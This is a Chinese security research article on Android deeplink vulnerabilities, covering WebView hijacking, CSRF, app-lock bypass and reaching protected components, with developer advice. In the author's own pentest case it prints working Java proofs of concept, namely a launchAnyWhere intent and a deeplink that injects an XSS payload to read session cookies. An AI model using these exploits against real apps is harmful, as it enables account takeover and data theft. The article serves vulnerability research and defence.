Android中的特殊攻击面（二）——危险的deeplink

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0x01 deeplink简介

deeplink 是一种在网页中启动App的超链接。当用户点击deeplink链接时，Android系统会启动注册该deeplink的应用，打开在Manifest文件中注册该deeplink的activity。

例如，按照Manifest文件，example://gizmos和http://www.example.com/gizmos这两个deeplink 都可以被用来启动GizmosActivity.

```xml
<activity
        android:name="com.example.android.GizmosActivity"
        android:label="@string/title_gizmos" >
        <intent-filter android:label="@string/filter_view_http_gizmos">
            <action android:name="android.intent.action.VIEW" />
            <category android:name="android.intent.category.DEFAULT" />
            <category android:name="android.intent.category.BROWSABLE" />
            <!-- Accepts URIs that begin with "http://www.example.com/gizmos” -->
            <data android:scheme="http"
                  android:host="www.example.com"
                  android:pathPrefix="/gizmos" />
            <!-- note that the leading "/" is required for pathPrefix-->
        </intent-filter>
        <intent-filter android:label="@string/filter_view_example_gizmos">
            <action android:name="android.intent.action.VIEW" />
            <category android:name="android.intent.category.DEFAULT" />
            <category android:name="android.intent.category.BROWSABLE" />
            <!-- Accepts URIs that begin with "example://gizmos” -->
            <data android:scheme="example"
                  android:host="gizmos" />
        </intent-filter>
    </activity>
```

对于deeplink，可以通过adb shell am start -a android.intent.action.VIEW -d <deeplink>打开注册deeplink的Activity，方便地在本地环境测试。

由于deeplink天然具有远程的特性，只需要用户点击一下，就可以启动Activity，若这个过程造成安全影响，就是一个1-click的远程漏洞，因此对App而言，deeplink是最为常见的远程攻击面。

0x02 deeplink的安全问题

有一类特殊的基于intent:// scheme的deeplink，各浏览器都出现过与之相关的安全漏洞，文章[1]、[2]有专门的讨论，其安全问题不是本文讨论的重点。本文主要讨论App自定义scheme deeplink引入的安全问题。

1. 通过deeplink操纵WebView

在deeplink漏洞当中，打开App的WebView访问攻击者可控链接携带token，甚至盗取文件或者调用其中的特权接口，又最为常见。例如：

• Facebook App [3]

这是一个价值8500刀的Facebook app 漏洞，白帽子对Facebook App大量的fb:// deeplink进行了整理、筛选和自动化测试，找到了3个deeplink可以打开WebView组件访问指定的url，而且这个url支持file://并可以打开本地文件，尽管没有给出自动盗取文件的利用方法，facebook仍然慷慨地奖励了这一漏洞。

• Grab App [4]

bagipro发现通过deeplinkgrab://open?screenType=HELPCENTER&page=<evil-site>可打开grab app的WebView，并访问攻击者可控的url，通过js调用WebView的特权接口可盗取用户的敏感信息。

另外，之前玄武实验室披露的应用克隆漏洞，其实也是通过deeplink打开WebView，利用WebView设置配置不当，盗取App私有目录的所有文件实现应用克隆。这一类deeplink需要重点关注url、extra_url、page、link等参数，看是否可以设置为任意域名打开webview。

2. 通过deeplink构造CSRF

针对twitter的Periscope Android App，若用户点击形为pscp://user/<user-id> 或者 pscpd://user/<user-id>则可以绕过确认对话框，直接follow指定user-id的用户[5]。而用户点击www.pscp.tv/<user-id>/follow是需要弹出确认对话框的。

3. 通过deeplink绕过应用锁

Shopify App具有基于指纹的应用锁功能，然而却可以通过点击deeplink https://www.shopify.com/admin/products绕过应用锁，无限制地使用app的功能[6]。

另外，还有 sambal0x分享的一个案例，通过deeplink构造条件竞争，绕过应用锁[7]。

4. 通过deeplink打开App保护组件

这里分享自己在某App渗透测试中的deeplink漏洞案例（漏洞已经修复，但隐去app信息，以victim-app代替）类似于facebook app，该App包含大量(>200)的deeplink，散落在java代码和asset目录的js文件中。对这些deeplink进行筛选和简单Fuzz，发现了多个安全问题。包括：

（1）多个deeplink控制WebView url跳转指定网址，只能用来phishing；

（2）两个deeplink可以打开ReactNativeWebView且支持file://；

（3）一个deeplink可以打开WebView并携带重要的oauth_token泄露到攻击者指定的链接；

（4）两个deeplink分别能启动app调试、停止app调试并在不安全的外部存储生成profile文件

在这些安全问题当中，最有意思的则是可以通过deeplink打开App的保护组件，漏洞的根本原因在于，Intent extra可以通过deeplink以参数的形式传递至App中哪些不导出的Activity中，从而暴露了大量的攻击面。通过adb shell am start -a android.intent.action.VIEW -d <deeplink>测试所有的deeplink，同时监控adb logcat -s ActivityManager，寻找处理deeplink的最终Activity，我发现了两个打开App保护组件的问题：

• 通过deeplink打开任意activity

通过测试victim-app://c/identitychina，发现经过复杂的Intent传递，最终可以打开IdentityChinaActivity。

如代码所示，globalIdentityFlowIntent作为一个Parcelable对象，可以跟随deeplink的Intent extra传递，为攻击者可控。而这个embeded Intent最终会传入startActivityForResult，造成一个launchAnyWhere漏洞，攻击者可以通过globalIdentityFlowIntent指向不导出的Activity，或者构造App所持有权限的特权操作，实现提权或者盗取敏感信息。

```java
protected void onActivityResult(int arg3, int arg4, Intent arg5) {
        super.onActivityResult(arg3, arg4, arg5);
        int v0 = 100;
        if(arg3 == 1 && arg5 != null) {
            String v3 = arg5.getStringExtra("country_code");
            IdentityChinaAnalyticsV2.d(v3);
            if(this.o != null) {
                AccountVerificationActivityIntents.a(v3);
                this.startActivityForResult(this.o, v0);  //this.o is an attacker controlled Intent
            }
        }
        else if(arg3 == v0) {
            arg3 = -1;
            if(arg4 == arg3) {
                this.setResult(arg3);
                this.finish();
            }
        }
    }
    protected void onCreate(Bundle arg2) {
        super.onCreate(arg2);
        this.setContentView(layout.activity_simple_fragment);
        ButterKnife.a(((Activity)this));
        if(arg2 == null) {
            this.c(true);
            new ChinaVerificationsRequest().a(this.n).execute(this.I);
        }
        Intent v2 = this.getIntent();
        if(v2.getParcelableExtra("globalIdentityFlowIntent") != null) {
          this.o = v2.getParcelableExtra("globalIdentityFlowIntent"); //Attacker controlled Intent
        }
    }
```

通过如下POC可实现漏洞利用

```java
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setData(Uri.parse("victim-app://c/identitychina"));

Intent payload = new Intent();
payload.setComponent(new ComponentName("<victim app package name>",
                        "<victim app protected component name>"));
intent.putExtra("globalIdentityFlowIntent", payload);
startActivity(intent);
```

• 通过deeplink打开任意fragment

对deeplink victim-app://c/contact/2?fragmen_class=AAAA进行测试时，触发了crash，如下

```shell
$ adb shell am start -a android.intent.action.VIEW "victim-app://c/contact/2?fragmen_class=AAAA"

03-06 08:43:37.019 27066 27066 E AndroidRuntime: Process: com.victim-app.android, PID: 27066
03-06 08:43:37.019 27066 27066 E AndroidRuntime: java.lang.RuntimeException: Unable to start activity ComponentInfo{com.victim-app.android/com.victim-app.android.core.activities.ModalActivity}: android.support.v4.app.Fragment$InstantiationException: Unable to instantiate fragment AAAA: make sure class name exists, is public, and has an empty constructor that is public
......(skip)
03-06 08:43:37.019 27066 27066 E AndroidRuntime: Caused by: java.lang.ClassNotFoundException: Didn't find class "AAAA" on path: DexPathList[[zip file "/data/app/com.victim-app.android-88DWiVjEAeeamfvTk2khAA==/base.apk"],nativeLibraryDirectories=[/data/app/com.victim-app.android-88DWiVjEAeeamfvTk2khAA==/lib/arm, /data/app/com.victim-app.android-88DWiVjEAeeamfvTk2khAA==/base.apk!/lib/armeabi-v7a, /system/lib, /vendor/lib]]
```

仔细分析，发现crash原因在于deeplink最终打开了ModalActivity，无法对名为AAAA的Fragment类实例化。如果在deeplink中的fragment_class参数传入一个victim-app已有的Fragment，则可以通过ModalActivity启动。在这个参数当中，我尝试传入了所有已有的Fragment Class，有的可以成功启动，有的却因为参数不完整造成crash，但是这里能够造成何种安全影响却费了一番周折。

最终，我找到一个GoogleWebViewMapFragment，有机会执行loadDataWithBaseURL，通过WebView加载HTML/JS.

```java
@SuppressLint(value={"SetJavaScriptEnabled", "AddJavascriptInterface"}) public View a(LayoutInflater arg7, ViewGroup arg8, Bundle arg9) {
        View v7 = arg7.inflate(layout.fragment_webview, arg8, false);
        this.a = v7.findViewById(id.webview);
        this.d = v7;
        WebSettings v8 = this.a.getSettings();
        v8.setSupportZoom(true);
        v8.setBuiltInZoomControls(false);
        v8.setJavaScriptEnabled(true);
        v8.setGeolocationEnabled(true);
        v8.setAllowFileAccess(false);
        v8.setAllowContentAccess(false);
        this.a.setWebChromeClient(new GeoWebChromeClient(this));
        VicMapType v8_1 = VicMapType.b(this.o());
        this.a.loadDataWithBaseURL(v8_1.c(), v8_1.a(this.w()), "text/html", "base64", null); //noice!!!
        this.a.addJavascriptInterface(new MapsJavaScriptInterface(this, null), "VicMapView");
        return v7;
    }

```

第一个参数v8_1.c()为baseUrl，第二个参数v8_1.a(this.w())为data，如果能同时通过deeplink控制这两个参数，就可以操纵WebView在任意baseUrl加载任意HTML/JS。

第一个参数v8_1.c()就是下面的c()方法，这个参数的返回值this.c将会放在某个Bundle中的map_domain，此外，也发现this.b作为Bundle的map_url，this.a作为Bundle的map_file_name。

第二个参数v8_1.a(this.w())为下面的a(Resources arg3)方法，调用VicMapUtils.a方法，并调用this.b方法对文件中的MAPURL字符串进行替换。

```java 
public VicMapType(String arg1, String arg2, String arg3) {
        super();
        this.a = arg1;
        this.b = arg2;
        this.c = arg3;
    }
    public String a(Resources arg3) {
        return VicMapUtils.a(arg3, this.a).replace("MAPURL", this.b).replace("LANGTOKEN", Locale.getDefault().getLanguage()).replace("REGIONTOKEN", Locale.getDefault().getCountry());
    }
    public Bundle a(Bundle arg3) {
        arg3.putString("map_domain", this.c()); // this.c is put in map_domain
        arg3.putString("map_url", this.b()); // this.b is put in map_url 
        arg3.putString("map_file_name", this.a()); // this.a is put in map_file_name
        return arg3;
    }
    String a() {
        return this.a;
    }
    public static VicMapType b(Bundle arg5) {
        return new VicMapType(arg5.getString("map_file_name", ""), arg5.getString("map_url", ""), arg5.getString("map_domain", ""));
    }
    String b() {
        return this.b;
    }
    String c() {  // v8_1.c()
        return this.c;
    }
```

 检查VicMapUtils.a，发现是打开app asset目录下的文件并读入。

```java
public class VicMapUtils {
    public static String a(Resources arg2, String arg3) {
        try {
            InputStream v2 = arg2.getAssets().open(arg3);
            String v0 = VicMapUtils.a(v2);
            v2.close();
            return v0;
        }
        catch(IOException ) {
            StringBuilder v0_1 = new StringBuilder();
            v0_1.append("unable to load asset ");
            v0_1.append(arg3);
            throw new RuntimeException(v0_1.toString());
        }
    }

    public static String a(InputStream arg2) {
        BufferedReader v0 = new BufferedReader(new InputStreamReader(arg2));
        StringBuilder v2 = new StringBuilder();
        while(true) {
            String v1 = v0.readLine();
            if(v1 == null) {
                break;
            }

            v2.append(v1);
            v2.append("\n");
        }

        v0.close();
        return v2.toString();
    }
}
```

此时，我检查了APK中的asset目录，找到了一些html文件

```shell
$ ls -l *.html
-rwxr-xr-x  1 heeeeen  h4cker   8290  3  6 08:28 google_map.html
-rwxr-xr-x  1 heeeeen  h4cker  15024  3  6 08:28 leaflet_map.html
-rwxr-xr-x  1 heeeeen  h4cker   5546  3  6 08:28 mapbox.html
```

同时，在google_map.html中找到了MAPURL字符串

```html
$ cat google_map.html
<!DOCTYPE html>
<html>
<head>
    <meta name="viewport" content="initial-scale=1.0, user-scalable=no">
    <meta charset="utf-8">
    <style>
        html, body, #map-canvas {
        height: 100%;
        margin: 0px;
        padding: 0px
        }
</style>
    <script src="MAPURL?v=3.exp&sensor=false&language=LANGTOKEN&region=REGIONTOKEN"></script>
    <script src="file:///android_asset/geolocate_user.js" type="text/javascript"></script>
    <script>
var map;
var infoWindow = null;
var markers = {};
var infoWindowContent = {};
var polylines = {};

漏洞利用的线索开始有一些明了，如果控制了MAPURL字符串，就可以构造一个XSS。

再来看看所涉及Bundle的构造，这个Bundle其实就是启动Fragment的参数，经过实验表明这个Bundle参数可以随deeplink的Intent extra传递。

```java
public Bundle a(Bundle arg3) {
        arg3.putString("map_domain", this.c()); // this.c is put in map_domain
        arg3.putString("map_url", this.b()); // this.b is put in map_url 
        arg3.putString("map_file_name", this.a()); // this.a is put in map_file_name
        return arg3;
    }
```

所以，map_domain作为loadDataWithBaseURL的第一个参数，需要传入我们想要在其中执行JS的domain，也就是该App使用的登陆态domain：http://www.vicitim-app.com；map_url作为loadDataWithBaseURL的第二个参数，需要传入攻击payload；而map_file_name则需要指向文件名google_map.html，WebView就会加载这个注入攻击payload的html文件。

至此，可以通过这个deeplink打开任意fragment的漏洞，实现可控任意域执行任意JS，实现盗取登陆态的用户cookie！

POC如下：

```java
Intent payload = new Intent(Intent.ACTION_VIEW); 
payload.setData(Uri.parse("victim-app://c/contact/2?fragmen_class=com.victim.app.GoogleWebViewMapFragment")); 
Bundle extra = new Bundle(); 
extra.putString("map_url", "\"></script><script>alert(document.cookie);</script><script>"); 
extra.putString("map_file_name", "google_map.html"); 
extra.putString("map_domain", "https://www.victim-app.com"); 
payload.putExtra("bundle", extra); 
startActivity(payload);
```

0x03 deeplink的收集

既然deeplink暴露了大量的攻击面，且容易出现远程漏洞，因此deeplink的收集就成为漏洞挖掘的重点。首先，需要解析Manifest文件中的android:scheme及android:host提取出deeplink的protocol://hostname，接下来可以采用五种方法：

• 本地搜索：通过Mainifest文件筛选出自定义的deeplink URL scheme，进而在本地逆向代码中正则匹配，提取出尽可能完整的deeplink URI，注意不要漏过所有文件。因为以经验来看，deeplink可能出现在App的Java代码中、Asset目录的资源文件/js中，甚至还可能出现在so当中；

• 流量监控：对app进行抓包，利用HTTP抓包工具或者实现成burp插件监测流量中的deeplink，尽可能在app中点击各种场景，从请求包和返回包中正则匹配出完整的deeplink；

• IPC监控：通过hook动态监测IPC通信中出现的deeplink，将Intent中的data提取出来，可以利用burp插件brida，甚至与流量监控整合；

• 远程爬取：对app Web端网页进行爬取，筛选出deeplink。不过这种方法我没有实践过，只是偶尔在网页源码中发现过。

• 基于deeplink特征：如果APP使用了一些路由分发的sdk，由于这类sdk有特定的规律，因此可以通过正则解析这类规律来获取到完整的deeplink。以ali arouter为例，可以通过提取build Route后面的path作为deeplink URI的path。提取build Autowired后面的name作为deeplink中的parameters。然后和第一步中获取到的内容进行拼接，从而获取到一个完整的deeplink。

然而，按照上述思路收集的deeplink还是可能不完整，难以得到完整的参数。从白帽子的角度，deeplink收集始终是挖掘deeplink漏洞的最大难点。

0x04  对开发者的建议 

开发者特别要重点关注与deeplink有关的WebView安全问题，这一类漏洞在deeplink安全问题中占比最大。需要小心deeplink中url、extra_url、page、link、redirect等参数，检查是否可以修改这些参数使WebView访问任意域名。如果这本身是一个业务设计，建议对用户给出外域跳转提示，同时禁止WebView对file://的访问，禁止 loadUrl访问外域携带重要的认证token，并仔细检查WebView开放敏感javaScriptInterface或JsBridge接口所做的域名白名单校验。

此外，由于deeplink无法验证来源，因此也不能用来设计为触发一个对安全有影响的敏感操作，例如：

• 发送携带认证token的数据包

• 打开保护组件

• 绕过应用锁

• 无需用户交互对外拨号
  

• 静默安装应用

  ......

建议使用deeplink的App开发者向内部安全团队提供所有deeplink清单和设计文档进行安全测试，这样可以比外部攻击者更早、更全面地发现deeplink引入的安全问题。

参考

[1] http://www.mbsd.jp/Whitepaper/IntentScheme.pdf

[2]https://wooyun.js.org/drops/Intent%20scheme%20URL%20attack.html

[3][Breaking The Facebook For Android Application](https://ash-king.co.uk/facebook-bug-bounty-09-18.html)

[4][Insecure deeplink leads to sensitive information disclosure](https://hackerone.com/reports/401793)

[5]https://hackerone.com/reports/583987

[6]https://hackerone.com/reports/637194

[7]https://blog.sambal0x.com/2019/10/18/Passcodeactivityraceconditionbypass.html